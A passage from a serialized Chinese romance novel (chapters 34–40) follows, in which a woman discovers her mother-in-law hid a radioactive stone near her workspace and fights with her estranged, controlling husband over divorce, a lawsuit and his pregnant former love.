宁穗脸色一僵,胡乱说了什么,挂断了电话。 她慢了半拍,但赶紧找了盒子包裹起来,并报了警。 等待警察的十分钟内,宁穗迅速整理了一下思路。 这个泥塑是封闭的,所以放射性石头,是在制作泥塑之前就放进去了。 她坐在泥塑旁边,工作了三年。 就这样一点点,被放射性元素侵蚀。 癌症…… 宁穗浑身发抖。 郑美婵从一开始,就想弄死她。 所以才会将不惜麻烦,将泥塑搬到这边来。 一身恶寒。 门铃声响起,宁穗趔趔趄趄地跑过去开门,手还没碰上门把手,房门被人从外边打开。 宁穗愣住。 门外的警察,旁边站着陆勋之。 陆勋之没走,居然又折返回来了? 那她还怎么跟警察说,郑美婵害得她得了癌症。 “女士,是你报警吗?放射性物质在哪里,我们现在马上要带走隔离处理。” 宁穗顿了一下,还是让对方先进来处理。 陆勋之一把拉住她,上下打量,“你没事吧?” 没事? 她差点就要被害死了,还能没事? 宁穗不动声色地甩开她。 处理的人带走了放射性石头,留下两个人给宁穗做口供。 “这个是郑美婵,也就是我婆婆,放进去的,专门放在我身边,想害死我。” “你胡说什么?”陆勋之语气沉下来,转而对警察说,“这是我的家事,我太太和我妈有点矛盾。” 宁穗突然跑到警察身后,避开陆勋之,“他在外边有女人有孩子,他妈想害死我,还让我做非法的古董复制品,我有证据。” 说着,她调出手机,找出视频,递给警察。 视频一看就是隐藏的摄像头。 上面清楚显示郑美婵让人把泥塑送过来。 另外宁穗确实在做复制品,对照的图片就是馆藏级别的珍品。 她拿出那个半成品,“我在里面用特殊颜料做了标记,她就算是卖出去,也可以追踪。” 警察互相对视一眼,这件事突然就复杂起来。 “女士,跟我们去趟警局吧。” 陆勋之拉住宁穗,与她十指相扣,“我跟你一起去。” 宁穗想甩开他,但是没成功。 在警局昨晚口供,固定了证据。 宁穗坐在走廊等着唐佳笑来接自己。 陆勋之也昨晚口供出来,“宁穗,我们谈谈。” 宁穗闭上眼,完全忽略他。 他舌尖抵了腮帮,坐在她旁边,“我妈做的事,我不知道。我会给你一个公道。还有,宋姜肚子里的孩子,不是我的。” 宁穗一愣,不可置信地看向陆勋之,冷不丁笑了,“说谎有意思吗?” 陆勋之皱眉,语气低沉了几分,“我有必要撒谎吗?” 宁穗顿住,他确实没有必要。 他要是想给宋姜名分,是随时的事。 完全可以直接跟她离婚,现在是他拖着不肯离。 宁穗突然有些糊涂,虽然被伤害了很多次,但还是莫名升起希望,“既然跟你没关系,那是谁的?你为什么要护着她?” 陆勋之抿唇,他收回视线,垂下了眸子,没有回答。 那就是不能告诉她。 宁穗突然觉得很可笑。 她刚才是怎么会这么自信,以为陆勋之真的把她当自己人,会告诉她什么秘密。 “当我没问。”宁穗深吸一口气,“陆勋之,我会告你母亲故意伤害。我和你还是赶紧去领证。” 第35章 我嫌你脏 这句话,彻底激怒了陆勋之。 “我都已经跟你解释了,你为什么还要闹离婚。” 这一晚上太多事,宁穗已经没什么精力,“陆勋之,是你不明白,就算你没有出轨,我现在也不爱你了。” 他的亲生母亲要弄死她。 还要榨干她最后的价值。 她都不敢想,要是她没发现那个泥塑里的东西,还继续在用。 是不是她做完那些仿品之后,郑美婵连除掉她都省了。 反正她已经快要死了。 虽然不知道为什么,但是宁穗觉得这些事,跟陆勋之有一定关系。 “你跟我离婚,你还想怎么对付我妈?你有这个实力吗?”陆勋之愤怒起身,“你还是好好想想吧。” 说完,他直接转身离开。 宁穗瘫坐在椅子上。 她没有实力,但她咽不下这口气。 唐佳笑赶来的时候,就看到宁穗坐在椅子上,整个人看上去了无生气。 “穗穗,你没事吧?”唐佳笑上前摸她的额头,还好没有发烧。 来之前宁穗给她打电话简要说了今天的事,她都快吓死了。 怎么会有这么恶毒的人。 “宋姜和郑美婵真是般配,他们真该锁死。” 宁穗也觉得,这两人真的是天生的一对婆媳。 还有陆勋之,居然还威胁她,要是离婚,就不帮她对付郑美婵。 她怎么可能信,陆勋之会帮着她对抗自己的母亲? 简直笑话。 陆勋之不过是在拖延时间而已。 宁穗和唐佳笑到家没几分钟,王习就来了。 “穗穗,你放心,我已经帮你联系了律师。”王习面色严肃,“他们这么欺负人,不会就这么算了。” 他眼色心疼,看向宁穗,“你的身体……” 宁穗一听这意思,看向唐佳笑。 后者尴尬笑笑,“我去接你的路上,碰巧王师兄给我打电话,我就说了。他门路多能帮上忙。” 她太气愤,当时气得她边哭边吐槽,顺嘴就说了宁穗生病的事。 但好在她没有多说,只是说宁穗身体状况不好,并没有说得癌症的事。 晚上三人一起吃了饭,王习给联系的律师打了电话,谈这件事。 “王老师,你放心,这件案子,我们有证据,固定好,我会直接起诉。”律师说得信心满满。 宁穗也放心不少。 挂断电话,唐佳笑忍不住又骂,“郑美婵是不是脑子有病?我们穗穗是挖她祖坟了吗?这么对她。” 宁穗也百思不得其解。 一旁的王习脸色讳莫如深。 过了一会儿,唐佳笑有事去书房打电话。 王习似是做了很大的心理斗争,跟宁穗说:“穗穗,你这段时间去我那住吧。我担心你的安全。” 宁穗愣了下,“谢谢师兄,不过还是算了。笑笑已经跟我说了,最近我就在家办公,尽量不出门。” 她不想再连累任何人。 王习想了想说:“这件事,可能你是被我连累的,我应该保护你。” “被你连累?跟你有什么关系?”宁穗挺纳闷的。 王习张了张嘴,话到嘴边,还是咽了回去,苦笑一声,“没什么。” 宁穗没多问,想到陆勋之说过,王习是陆家的私生子。 加上宁穗跟王习的关系好,他误以为郑美婵是因为这个对付她,也情有可原。 夜深了王习没久待,唐佳笑正好也要去工作室加班,两人一起走的。 宁穗晚上辗转难眠,郑美婵对她的手段,实在让她震惊。 她本以为郑美婵只是看不上她的出身,对她并不喜欢。 但这种要害死她的程度,简直就是仇恨。 宁穗一时难以消化,控制不住开始胡思乱想。 后半夜才睡着,梦里也都是乱七八糟的。 她梦见了大学时期的陆勋之,那次她急诊肠梗阻,是陆勋之接诊,他虽然面冷,但对她说话很温柔。 跟现在的陆勋之,完全是两个人。 后来第二次见他,他便坐了轮椅,也清瘦了不少。 她记得很清楚,当时陆勋之说自己受伤了,要做一阵子轮椅,会好起来。 可宁穗当时觉得陆勋之好像变了很多。 虽然更开朗一些,但她却有点怀念冷脸的陆勋之。 那种反差感,让她很心动。 梦里的陆勋之上一秒还温情表白,可下一秒就从轮椅上站起来,狰狞地吼她,“你不要碰宋姜肚子里的孩子!宁穗!你怎么这么恶毒!” “宁穗!宁穗!” 陆勋之的吼声几乎化作实质,一直在冲击她的耳膜。 她猛地醒来。 可陆勋之叫她的声音仍回荡在耳边,只是仿佛隔了几道门。 她懵懵懂懂地反应过来,是有人在砸门。 家里只有她自己,听到砸门声,宁穗害怕,怕是郑美婵来找她麻烦。 她拿出手机,打算报警,听到门外传来熟悉的声音,“宁穗!开门!” 是陆勋之。 宁穗沉默了一会儿,想假装不在家。 但是陆勋之根本没打算放过她,不停地砸门。 这里的小区隔音不算好,大半夜地闹下去,怕是一会儿邻居要来骂了。 宁穗抿唇,还是去开了门,陆勋之站在门外,脸上还有些许怒意,“你换指纹了?” 一听这个宁穗突然想起一件事,“你怎么会有我的指纹?” 陆勋之看上去像是喝了些酒,虽然没完全醉,但动作还是比平时慢吞了一些。 他抬手,指尖捏着一个指纹套,正是宁穗的。 她愣了一下,随即气得去抢,男人突然抬手躲开,宁穗撞进他的怀里。 后腰上一紧,陆勋之直接将她按进怀里,下一秒,湿润的唇贴下来。 宁穗倏地睁圆了眼睛,慢半拍抬手去推搡他,却被陆勋之抓住,反剪在身后。 她抵抗不了,只能任由他掠夺。 “在家门口都忍不住啊!”一个陌生的声音嘲讽又生气。 陆勋之停下,宁穗羞愤地低头钻进他的怀里,挡住自己。 被邻居撞见在家门口做这种事,实在太丢人了。 邻居也是喝醉了,还想调侃几句,但是陆勋之回眸,一记眼刀过来,直接给对方酒吓醒了。 那人灰溜溜地跑了。 陆勋之也冷静下来,抱着宁穗进门,关上门。 他还想继续刚才那个吻。 大概是太久没有碰过她,她身上的气息就像是毒药,引得他想要。 宁穗猛地躲开,几乎是低吼出来,“你想要可以出去花钱找,别碰我!” 第36章 让我开心,我就让你如愿 这句话像一盆冷水,兜头扣下来。 陆勋之瞬间冷静下来,他本来就不是重欲的人。 即便是在刚开荤的时候,他也能控制住自己。 那段时间宁穗伤了,他都是自己解决。 可这段日子没见宁穗,他真的有些忍不住。 今晚喝了点酒,那种感觉一上来,他觉得自己要爆炸了。 可是宁穗冷淡的态度,让他很不爽,他扯唇冷笑,“我嫌外边的脏。” “我还嫌你脏!”宁穗反唇相讥。 陆勋之眼底猩红,随即想到什么,“我不是跟你说了,宋姜的孩子不是我的。我也没碰过她。” 可这句话,宁穗现在根本不信的。 她完全怀疑,陆勋之不过是在缓兵之计。 想让宁穗放弃对郑美婵的控告。 宁穗冷漠地看着他,“我要告你妈,你却来睡我,她知道了睡得着吗?” 宁穗一向很有分寸,说话都是温温柔柔,这么粗鄙的话,陆勋之还是第一次在她口中听到。 莫名一愣,随即心里有些一丝兴趣。 突然觉得这样的宁穗,有点像上学时候的她。 鲜活,生动,柔软但也带刺。 可这几年,宁穗眼中的生气,一点点消失。 像是变成了一个木偶娃娃。 任人摆布。 “她是她,我是我。”陆勋之说。 宁穗一愣,“你什么意思?” 陆勋之抬手将她的碎发抿在耳后,“你不是已经找你的好师兄,寻了一个律师吗?” 这话说得酸溜溜的。 宁穗却提起警惕,“你想说什么?” 陆勋之轻笑,“你不知道陆家有自己的律师团队吗?你觉得你赢得了?” 宁穗后背生寒,压着怒意,“你不想让我告郑美婵?” 她早就想到陆勋之不会不管郑美婵,但是她还是存了侥幸心理。 但是陆家的律师团队不是盖的,郑美婵哪那么容易就被送进去。 陆勋之凑到她耳边,“只要不离婚,陆家就会给你一个公道。” 即便不送郑美婵进去,也会给宁穗一个说法。 至少以后郑美婵不会再找宁穗麻烦。 她要继续为了自由,而限制自己的自由吗? 这简直就是悖论。 宁穗陷入沉思,垂着眼眸,看上去没了攻击力。 昏黄的灯光下,她看上去柔顺了很多。 陆勋之的眼底暗了暗,他低头含了她的耳珠,含糊道,“宁穗,让我开心,我就让你如愿。” 这无耻的话,让宁穗浑身一僵。 可男人一旦开始,就难以停下。 宁穗想,那就当被狗咬了。 今晚的陆勋之很不一样,比起以前只顾自己。 这次宁穗好像体会到了不同。 他好像在刻意讨好她。 …… 宁穗体力不支,第二天醒来的时候,已经到中午。 这段时间,她就搬到家里来办公,所以她也没有着急起床。 不用再为郑美婵打工,宁穗就着手做自己的作品,她打算到时候请桑甜帮忙,送到周夫人的美术馆里展览售卖。 宁穗起床洗漱,吃了点东西,就去书房里做作品。 再出来的时候,已经是三个小时之后,她看到手机上有几个未接来电,她面无表情地忽略陆勋之的来电,先给王习回了电话。 “穗穗,郑美婵已经被陆家送出国了。” 听到这个消息,宁穗愣住。 那就意味着,她没办法将郑美婵绳之以法。 “不过,这也不算是坏消息,最起码,现在她被陆家流放出去,就没办法对你做什么。”王习劝宁穗,“说实话,陆家真要是想保她,跟你硬碰硬打官司,我们胜算真的是未知数。” 这个事,是王习跟他的律师朋友复盘之后得出的结论。 王习非常清楚,跟陆家作对,在御城等同于找死。 但只有宁穗知道,这就是她让陆勋之高兴了,所以对方给了她一点甜头。 巨大的羞耻感吞没宁穗,她的胃生理性的难受,随即她干呕了几声。 恶心的感觉怎么都止不住,宁穗狼狈地跑到洗手间,抱着水池吐了一会儿,只吐出一些酸水。 宁穗喘着粗气,洗脸漱口,看着镜子中的自己,眼尾猩红,看上去可怜又破碎。 她冷淡地关上水管,突然想到什么,她赶紧拿了手机出门。 小区旁边就有一个药房,她进去买了紧急事后药,刚走出药房,一辆车就停到她身前,车窗落下,陆勋之的冷淡的俊脸露出来。 “上车。”陆勋之虽然坐着,但上位者的威压十足。 他怎么又来了?真烦。 宁穗瞥了他一眼,全当没看见,转身要回家。 身后传来开门的声音,随即是脚步声,下一秒宁穗腾空,直接被抱起来。 宁穗低呼一声,“陆勋之,你放开我!” 男人根本不理会她的诉求,直接将人塞进了车厢。 “你要带我去哪儿?” 陆勋之慢条斯理地整理了一下自己的袖子,“去吃饭。你陪我。” 宁穗突然笑了,“陆勋之,你还真当我是三.陪了?” 陪.睡,陪吃,陪玩。 男人脸色铁青,“宁穗,你知道在说什么吗?”他捏住她的下巴,迫使她抬头看自己,“你到底是在贬低我,还是在贬低你自己。” 有区别吗? 反正陆勋之根本没把她当人看。 宁穗破罐子破摔,“不是你说的吗?让你高兴,怎么着都行。” 她这个样子,让陆勋之一愣,明知道她是故意的,可他还是克制不住的生气。 他一把松开她,生气看向前方。 宁穗更是故意往门那边躲,紧紧靠在门边,好像他是什么洪水猛兽。 陆勋之很不爽,余光瞥过去,看到座位上的袋子。 刚才宁穗好像是从药店出来的。 他下意识地去拿药袋,宁穗却条件反射似的,直接抢走,慌乱从中找出药,掰了一粒,生吞了下去。 陆勋之被她一系列的动作搞蒙了,皱着眉看她,“什么药,吃这么急?” 他随手拧了一瓶水递给她,宁穗没看他,但是接过了水。 陆勋之这才拿起药盒,看清药名之后,他登时火大,“为什么吃药?” 就这么不想跟他生孩子吗? 宁穗垂着眸子轻哼一声,“你应该问自己,为什么不做措施。” 昨晚上来得急,没有做措施。 陆勋之语气沉下来,“你不知道这种药吃多了对身体不好?” 第37章 你只跟我吃过三十四次饭 宁穗觉得挺可笑的,要是真担心她的身体,那他昨晚上那是做什么。 她当然知道吃这种药对身体不好。 刚结婚的时候,郑美婵就开始督促她备孕,提醒她不要吃这种药,会影响备孕质量。 当时她还天真地以为,郑美婵是关心她。 现在看来,不过是做做样子而已。 也有可能她只有陆勋之一个儿子,也只有他能生出孙子。 郑美婵要巩固自己的地位,必然要生个健康的孩子。 可是郑美婵对她做的事,很明显,从一开始就没有想让她生孩子。 那为什么又给她喝那么多中药汤呢? 一个念头在脑海里,倏地穿过,宁穗没有抓住。 “我的身体不用你管。”宁穗冷漠回绝了陆勋之的反问。 看向窗外,只留给陆勋之一个后脑勺。 男人没缠她,只冷哼了一声,也没再说什么。 陆勋之带着宁穗去了一家餐厅。 车停到门口,宁穗的心便沉了下去。 这家店,她来过一次。 就一次,让她差点进了局子。 那年是她和陆勋之三周年纪念日,她定了这边的位子,想跟陆勋之一起庆祝。 可是到时间,陆勋之并没有来。 拖到后边,宁穗看着一桌子菜,一点胃口都没有,只能付钱走人。 可当她要结账时,才发现卡被停了。 一分钱都刷不出来。 谁能想到御城只手遮天的陆家儿媳妇,连几千块的包桌费都出不起。 当时她的卡被郑美婵停的,原因是,她给郑美婵免费做的作品,晚交了一天。 一分钱都没给她,还停了她自己攒钱的卡。 最后是唐佳笑来“赎”的她。 从那之后,她都不敢在自己名下存钱,所有的钱都以唐佳笑的名义存的。 就这样,也只存了十几万而已。 纪念日后三天,宁穗才联系上陆勋之,他却轻飘飘地说了一句,“忘了,下回补给你不就好了。” 宁穗的心,就是从那年开始凉的。 陆勋之觉察到宁穗的脸色沉了几分,他只当她还在因为刚才的拌嘴不高兴,拉起她的手,将人往酒店里带。 就是这么巧,陆勋之带她来的,就是当初她定的那个房间。 这个房间位置特别好,能够看到窗外的荷花池。 陆勋之拉开一个椅子,正好能看到窗外。 但宁穗转身去了桌子的另一边坐下,离他远远的。 陆勋之一顿,眉心皱起小山。 “陆总,菜单已经按照您的吩咐下单了,您看看还满意吗?”经理特意过来,跟陆勋之打招呼。 陆勋之看了一眼平板上的菜单,又将平板转给宁穗,“你看看。还需要加什么?” 经理一看陆勋之对太太这么在乎。 又是提前定菜单,又是问太太意见,也想着给宁穗献殷勤,“陆太太,您看看还有什么需要——” 他看到宁穗的脸,倏地一愣,满脸写着“怎么是你”。 宁穗懒懒掀起眼皮看他,淡淡嘲讽一笑。 这个经理她记得,就是当时说要报警抓她的人。 当时她说自己是陆勋之的太太,经理还嘲笑她癞蛤蟆想吃天鹅肉。 也是,谁能相信,陆勋之的太太会吃霸王餐呢? 经理的表情像是被踩了尾巴,明显也认出了她。 额头上瞬间沁出了汗,“太、太太,对不起,我怠慢了。” 经理现在也不清楚,宁穗还记不记得他,也不敢贸然提起之前的事,毕竟也过去两年多。 他模棱两可地道歉,暗暗观察宁穗的表情。 她只看了他一眼,就收回视线,目光落在菜单上。 居然都是她喜欢的菜。 她愣了愣。 想起上学的时候,她那时候追陆勋之。 可是他太难追了。 请他去吃饭,点了好多菜,但他都不吃,就那么看着她吃。 她当时觉得很羞耻,自己在那吃,对方看着。 到最后她去结账,陆勋之却提前结了。 等走出餐馆,宁穗忍不住问他,为什么不吃只看着她吃。 他什么都没说。 再后来,就是他坐轮椅的那段时间,依旧是她带他去吃饭。 他还是什么都不吃,只看着她,但那段时间,他脸上有了笑容。 有一次她听到陆勋之说:“怪不得喜欢看你吃饭。” 但当时宁穗没听清,以为自己听错了。 宁穗恍惚之间,菜已经上齐。 陆勋之拿了公筷,给宁穗夹了好几样。 但宁穗都没有吃,只低头吃跟前那盘豌豆苗。 她这种明显的抗拒行为,却没有刺她。 宁穗也完全不在意他,就自己在那吃。 自从生病之后,她的胃口并不好,何况现在对面还是陆勋之。 让她更没胃口。 吃了几口,她就放下筷子。 “就吃这么少?”陆勋之皱眉,“怪不得瘦这么多。” 宁穗,“对着你吃不下。” 哐啷,陆勋之重重放下筷子,语气也冷了不少,“难得一起吃顿饭,非要这么说话?” 宁穗冷不丁笑了,“陆勋之,你也知道我和你很久没有一起吃饭了吗?确切地说,我和你结婚之后,你只跟我吃过三十四次饭。” 陆勋之愣住。 三十四次,结婚五年,平均一年都没有七次。 核算到每个月,更是少得可笑。 这是夫妻吗? 陆勋之一愣,满眼的迷茫,对宁穗的话,完全没有认知。 如同对牛弹琴,宁穗觉得自己很可笑。 这么多年的喜欢,就是一场笑话。 自始至终,只不过是她自己的独角戏。 就像是以前,她不知死活地追陆勋之,对方却连吃饭都不想跟她一起。 只是在对面静静看着她,像是看一个小丑在表演。 宁穗垂了眸子,吸了吸鼻子,“吃好了吗?我要回家。” 大概是宁穗说出来的数字太过震撼,陆勋之唇角抿成直线,没有说什么,两人匆忙结束了饭局。 宁穗快步走在前面,好像他是瘟疫一样。 陆勋之的脸色沉得难看。 经理看到陆勋之出来,跟赶来时的轻松神色,完全不同,顿时吓坏了。 赶紧上前,低声下气的,“陆总,我之前真不是故意为难陆太太。可是她定了包厢点了餐,付账的时候卡刷不出钱来,我真以为是吃霸王餐的,我当时也没有真的报警,您就大人有大量,放过我这次吧。” 陆勋之一顿,脸色沉得能滴出水来,“你说什么?” 第38章 是你让他爬床? 经理害怕,把两年前的事,全盘托出。 宁穗在车上坐了十分钟,陆勋之才回来。 听到车门拉开的声音,她立刻闭上眼,完全不想理人的样子。 陆勋之看到她的样子,也没有说什么。 车开去许久,陆勋之才幽幽开口,“你之前在这个包厢吃过饭?” 宁穗眼睫颤动,看来经理已经告诉他了。 “为什么之前不告诉我?”陆勋之又问。 宁穗哼笑一声,“我当时给你打过电话,你没接。事后,你轻飘飘地说忘了。” 忘了。 多敷衍地回答。 陆勋之抿唇,眼底划过一丝异样,“我那次是有事。” “有事,你当然有事。”宁穗点头,“什么事都放在结婚纪念日前面罢了。” “宁穗!”陆勋之有些恼,“不要阴阳怪气。我当时是因为要去——” 宁穗直接抬手制止他的话,“别说了。不管是因为什么,为了谁,你都不要解释。只会让我觉得,不管是谁都比我重要。我甚至连一个电话,一条短信都不配拥有。陆勋之,你这不是解释,是在加倍地侮辱我。” 陆勋之下颌绷得紧紧的。 宁穗收回视线,扭脸向窗外,闭上了眼睛,完全不想再交流。 车子停进景园,陆勋之转脸看向宁穗,她闭着眼,呼吸绵长,真的睡着了。 眼底掩盖不住的青色,看得出来她最近睡得很不好。 陆勋之抿唇,很轻地将人抱起。 别墅里空荡荡的,陆勋之的脚步声很轻,他将人放在卧室的床上,给她盖上了被子,静静看了几分钟,才转身出去。 房间里再次安静下来。 宁穗缓缓睁开眼,视线落在关着的房门上,有些发怔。 刚才陆勋之抱她下车走进别墅的时候,她就醒了。 她一直装睡,就是不想跟陆勋之有任何交流。 她现在真的看不懂陆勋之。 根本不爱她,那现在这又是在做什么? 要不是知道他有个怀孕的白月光,她都要怀疑,陆勋之是不是喜欢上她了。 脑海里冒出这个念头,宁穗扯唇无声自嘲,陆勋之不可能喜欢她。 昏暗中,被陆勋之放在床头的手机屏幕亮了亮。 宁穗怕是唐佳笑发来的信息,赶紧拿过来看。 却发现是宋姜发来的。 【你真的以为自己赢了?】 下一秒,对方撤回了这条信息。 连挑衅,都怕留下记录。 宁穗突然觉得宋姜很没种。 她面无表情地关掉宋姜的对话框,转而给唐佳笑发了信息,说晚点回去。 发完,她起身,打算悄悄离开。 陆勋之进书房,一般没个两三个小时不会出来。 他确实是个工作狂。 宁穗手刚放在门把手上,手机响起。 是宋姜打过来的语音通话,宁穗没理,想挂断,却不小心点击了接听。 那边大概也没想到她会突然接电话。 停顿了两秒,才笑出声,“宁穗,你是不是怕了?” 怕? 宁穗冷笑,拿起手机放在耳边,“发个信息还要撤回,生怕被人截图。到底是谁在怕?” “你!”宋姜被宁穗怼得哑口无言。 隔着听筒,都能听到她那边粗重的喘气声,显然是被气得不轻。 “宁穗,你觉得勋之帮了你,你就可以有恃无恐了?”宋姜气笑,“美婵姨被送出国,是勋之在保她。你以为就凭你,能够扳倒美婵阿姨吗?你做梦!” “宁穗,我实话告诉你,勋之就是用最简便的方法,保住陆家的声誉。又能不让美婵阿姨受伤害,她在国外还不知道多清闲快乐。” 垂在身侧的手指缓缓蜷起,宁穗并不是没想到这个可能性。 但真听到的时候,心还是像被扎了几道口子。 这就是陆勋之说要给她的交代? 她心里曾经隐隐有过期待。 到头来还是落空。 宋姜还在那头持续输出。 “他最近去见你了是不是?那都是我给他出的主意,让他稳住你。没想到你还真是贱啊。男人招招手,你就过去了。” 宁穗冷哼一声,“是吗?你的主意?也包括让他爬我的床吗?” 宋姜一愣,随即啊的一声叫出来,“宁穗,你真不要脸!” “勋之不跟你离婚,只不过是想保护我和孩子,等我的孩子生下来,他立刻就会休了你!” “宁穗你算什么?美婵阿姨对你做什么,都不过分,你就是个贱人,早就该去——” 宁穗挂断了电话,然后直接拉黑了宋姜。 看到她发狂,宁穗心里舒服多了。 想恶心她?她现在百毒不侵。 宁穗拉黑完,便开门出去,这里她一刻都不想待。 可刚出门正撞见一个高大的身影。 楼道里的顶灯光线打下来,陆勋之的影子正好笼罩住宁穗。 让人窒息。 “去哪儿?”陆勋之声音淡淡的,手里端起一个碗递给她,“喝了。” 宁穗被他吓到,微微回神,垂眸看他手里的碗,里面是煮到软糯的燕窝。 所以刚才他是去给她拿燕窝? 宁穗疑惑地看向陆勋之。 男人半垂着眸子,浓密的睫毛在眼底压下一层淡淡的阴影,让他看上去有些忧郁。 “你刚才没怎么吃东西。”陆勋之算是对自己的反常行为,给了一个交代。 宁穗无声笑笑,“是宋姜教你的?” 跟她同房,带她吃饭,还给她拿燕窝。 过得好像两个人是真的夫妻一样。 陆勋之拧眉,“你在说什么?” 宁穗深吸气,“陆勋之,你为了你的白月光真的是煞费苦心,不过你还是让她不要在我面前晃,不然下次,我会直接踹她的肚子。” 这话宁穗不是第一次说。 陆勋之瞬间黑了脸,带着怒气,将燕窝放在旁边的角柜上,发出钝响。 “够了。你还要闹到什么时候?” 宁穗懒得跟他吵架,绕过他要走。 陆勋之一把拉住她的手腕,“这么晚了你要去哪儿?” “回家。” “这不是你的家?” 宁穗斜睨着他,“别的女人穿我的鞋子,睡我的床,这算什么我的家。” 陆勋之眼底闪过一丝疑惑,不等他说什么,他的手机响起。 两人离得近,宁穗一眼就看到他手机屏幕上闪烁着宋姜的名字。 陆勋之看了一眼,眼底有些不自然地看宁穗,对方嘴角却勾着淡淡的嘲讽。 第39章 陆勋之喜欢宋姜到骨子里 宁穗推开陆勋之的手,“快接吧,你的心上人肚子又该不舒服了。” 陆勋之受不了她的阴阳怪气,“宋姜的孩子怀得不容易。金贵点,也正常。” 宁穗点头,“对,所以你赶紧接,不然她一会儿联系不上你,就要晕倒,我又成罪人。” 说完,她转身下楼,陆勋之跟上去一步,还是停住,接通了电话。 那头传来宋姜哭哭啼啼的声音,“勋之,我肚子好难受啊。” 陆勋之一顿,目光幽深地看向宁穗消失在拐角的背影。 宁穗下到一楼去了厨房,她回来的路上睡得有些口干,倒了杯温水,润了润嗓子,她觉得好受多了。 肚子有点饿,她打开冰箱想看看有没有牛奶对付一下。 却看到冷藏箱里,有一包药袋。 她眸光一愣,那些黑乎乎的药汤,都是之前郑美婵给她准备的,备孕的药。 可她喝完之后,例假都不准了。 郑美婵还说,这是在调理,日子有变,也正常。 可现在郑美婵的假面已经被掀开,宁穗突然觉得那些话,可能都是假的。 甚至是反话。 脑袋里那道光再次闪现,宁穗拿了一包药,装进了包里。 陆勋之的脚步声由远及近,走到厨房门口顿住,语气淡淡,“我出去一下。” 宁穗余光瞥他,没回应他的话茬,兀自喝了一口水。 “你晚上住这。房间里已经收拾好了。”说完,他静静看了两秒宁穗才转身离开。 宁穗觉得陆勋之挺可笑的。 一边说宋姜孩子不是他的,可宋姜一个电话就能把他叫走。 是当她傻吗? 陆勋之会白白替别人养孩子? 简直笑话。 她跟王习多说两句话,陆勋之都像是自己领地被侵犯的雄狮,恨不得咬断王习的脖子。 宋姜怀了别人的孩子,他却这么宝贝。 只有两种解释,要么陆勋之撒谎,宋姜肚子里的根本就是他的种。 另一个,就是陆勋之喜欢宋姜到骨子里,爱屋及乌,根本不在乎那孩子的爹是谁,都会帮她养。 宁穗垂在身侧的手,缓缓蜷起。 手机响起,是唐佳笑打过来。 “我今天不回去了,不用,别折腾了,你也累了。”宁穗想着陆勋之今晚肯定不会回来。 刚才她刺激了宋姜,对方一定会报复回去。 陆勋之肯定会被她留下来。 唐佳笑想来接宁穗,但她不想麻烦唐佳笑。 反正就一晚上,她凑合一下好了。 明天一早,她再打车回去就行。 白天总归是要好叫车一点。 “好吧,那你自己小心点。” 宁穗点点头,“好,放心。” 宁穗找了一些吃的垫了垫,转身上楼去睡觉。 她没去主卧,而是选了离主卧最远的客卧,路过墙边的装饰柜,她看到上面还放着那碗燕窝。 早就放凉了。 宁穗冷漠地收回视线,进了客卧。 …… 第二天,宁穗早早醒来,收拾妥当出门,门口便停了一辆车。 “太太,先生说您要是出去,就送您。”司机下车,恭敬地帮她开门。 宁穗没想到陆勋之会给她准备车,但是不用白不用。 打车还要花百十块,省下带唐佳笑吃饭也好。 “谢谢。”宁穗上车。 她说了唐佳笑家的地址,便调出裴斯年的对话界面,【裴医生,能帮我检测药物吗?】 那边回得很快,【样品寄给我。】 【好,谢谢,费用我到时候转给你。】 【不用跟我客气。】 宁穗抿唇,虽然她在陆家的日子过得很地狱。 但她身边的善意很多。 裴斯年那边发了一条语音过来,宁穗本来想转成文字看,但不小心点了播放,裴斯年的声音从那边传出来。 “什么药物要检测,是你误服了吗?” 宁穗快速点掉,小心地看了一眼司机的方向,对方正在观察路况,并没有往她这边看。 她垂眸回裴斯年,【检查完再说。】 裴斯年发了一个“ok”的表情。 …… 陆氏总裁办公室内。 陆勋之靠在沙发上假寐。 办公室门被敲响,唐桓赶紧过去开门,食指放在嘴边示意对方轻声点。 秘书看了一眼房内,压低声音说:“总裁从昨晚上一直忙到现在,还不停?” 唐桓也叫苦,陆勋之是出了名的工作机器。 他接过秘书手中的咖啡,摆摆手,“去忙吧。” 唐桓将咖啡轻轻放在陆勋之跟前的茶几上,手机震动,他拿出来看。 看到信息,他抿唇,还是小声给陆勋之汇报,“陆总,司机说把太太送回唐佳笑家。还有件事,他不知道重不重要,但还是想跟您说一声。” 听到宁穗的事,陆勋之慢慢睁开眼,坐直了身子,“说。” “太太好像在找人检查药物,不知道是不是她误服了什么。” 陆勋之垂下眸子,脑子里是前几天看到宁穗吃事后药的决绝。 心里莫名有些烦躁。 但那个药,是宁穗在药店里买的,应该不会有问题。 他想到什么,从手机调出监控。 自从上次宋姜去景园,跟宁穗闹了一次,他就在家里装了监控。 他手指拖动进度条,最后定格在宁穗翻找冰箱的画面,看到她从冰箱里拿了一包药,他的眉心拧出了疙瘩。 宁穗在路上就预约了快递,一到家,就将药物按照地址寄给了裴斯年。 那边说一周时间应该能拿到结果。 她回家收拾了自己的东西,在网上看了看租房信息。 陆勋之来唐佳笑家闹过这么多次,她不能在这住了。 已经给唐佳笑找过很多麻烦了。 陆勋之总是来闹,会坏了唐佳笑在这的名声。 她的房子,是父母给她凑钱买的,还要在这里住很久。 宁穗在网上选了几个房子,加了中介,预约了看房时间。 刚聊完,就接到了桑甜的电话,“穗穗,最近有个展览,有很多国外的艺术家参加,我们打算做一个国风主题的板块,你有兴趣吗?” “当然有兴趣。”宁穗很高兴。 最近她在和唐佳笑,还有王习一起做一个套品。 三个人就一个主题,做三个系列,正是古风类型。 “那你今天有时间吗?到我们美术馆来开个碰头会。” 宁穗答应下来,看了看时间,正好开完会就能去看房子。 可她一到周家的美术馆,就遇见了宋姜和陆勋之。 第40章 该是你的就是的 宁穗的指尖,掐进了掌心,但面上不显。 桑甜先一步过来挽住宁穗的手臂,用只有两人能听到的声音说:“对不起啊,我没邀请她,是他们不请自来。” 宁穗抿唇笑笑摇头,她当然不会怪桑甜。 宋姜虽然在国际上得过一些奖,但是在国内的知名度,还需要一些助力。 这种传统工艺,在国外没几个人会。 宋姜很容易出头。 但是在国内,有些老字号的继承人,还是要看成绩的。 桑甜电话里说这次展览规格很高,陆勋之怎么会放过这个机会,来捧宋姜。 宁穗早就料到会遇到宋姜,但她有信心,自己能成。 在专业上,她永远对自己有信心。 桑甜对着陆勋之和宋姜微微一笑,直接带宁穗去了自己的办公室。 这厚此薄彼的样子,完全不把宋姜放在眼里。 